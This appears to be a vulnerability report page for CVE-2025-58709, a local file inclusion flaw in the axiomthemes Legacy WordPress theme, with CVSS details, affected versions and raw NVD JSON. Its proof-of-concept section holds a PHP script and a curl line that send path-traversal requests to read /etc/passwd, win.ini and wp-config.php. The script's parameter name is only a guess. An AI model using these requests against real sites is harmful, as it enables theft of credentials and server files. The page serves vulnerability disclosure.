Security Vulnerability Report
中文
CVE-2025-58709 CVSS 8.1 HIGH

CVE-2025-58709

Published: 2025-12-18 08:15:57
Last Modified: 2026-01-20 15:17:07

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Legacy legacy allows PHP Local File Inclusion.This issue affects Legacy: from n/a through <= 1.9.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:legacy:*:*:*:*:*:wordpress:*:* - VULNERABLE
Legacy主题 <= 1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58709 PoC - WordPress Legacy Theme Local File Inclusion * Affected: axiomthemes Legacy theme <= 1.9 * Author: Security Researcher * Reference: https://patchstack.com/database/Wordpress/Theme/legacy/vulnerability/wordpress-legacy-theme-1-9-local-file-inclusion-vulnerability */ // Target URL - Replace with vulnerable target $target = 'http://vulnerable-site.com/'; // Vulnerable endpoint and parameter $vuln_param = 'file'; // Common parameter name, verify with actual target // Files to test for LFI $test_files = [ '../../../../../../../../etc/passwd', '../../../../../../../../windows/win.ini', '../../../../../../../../etc/hostname', '../../../wp-config.php' ]; echo "[*] Testing CVE-2025-58709 LFI on: $target\n"; echo "[*] Target: axiomthemes Legacy theme <= 1.9\n\n"; foreach ($test_files as $file) { $url = $target . '?' . $vuln_param . '=' . urlencode($file); echo "[+] Testing: $file\n"; echo "[+] URL: $url\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); if ($response && (strpos($response, 'root:') !== false || strpos($response, '[extensions]') !== false)) { echo "[!] VULNERABLE! File content leaked:\n"; echo "----------------------------------------\n"; echo substr($response, 0, 500); echo "\n----------------------------------------\n"; break; } else { echo "[-] Not vulnerable or file not accessible\n"; } echo "\n"; } // Alternative: cURL-based PoC // curl -X GET 'http://target.com/?file=../../../../../../../../etc/passwd' ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58709", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.117", "lastModified": "2026-01-20T15:17:07.133", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Legacy legacy allows PHP Local File Inclusion.This issue affects Legacy: from n/a through <= 1.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:legacy:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.9", "matchCriteriaId": "72BF3E71-B04F-4D0E-941D-68B0EED32AA6"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/legacy/vulnerability/wordpress-legacy-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}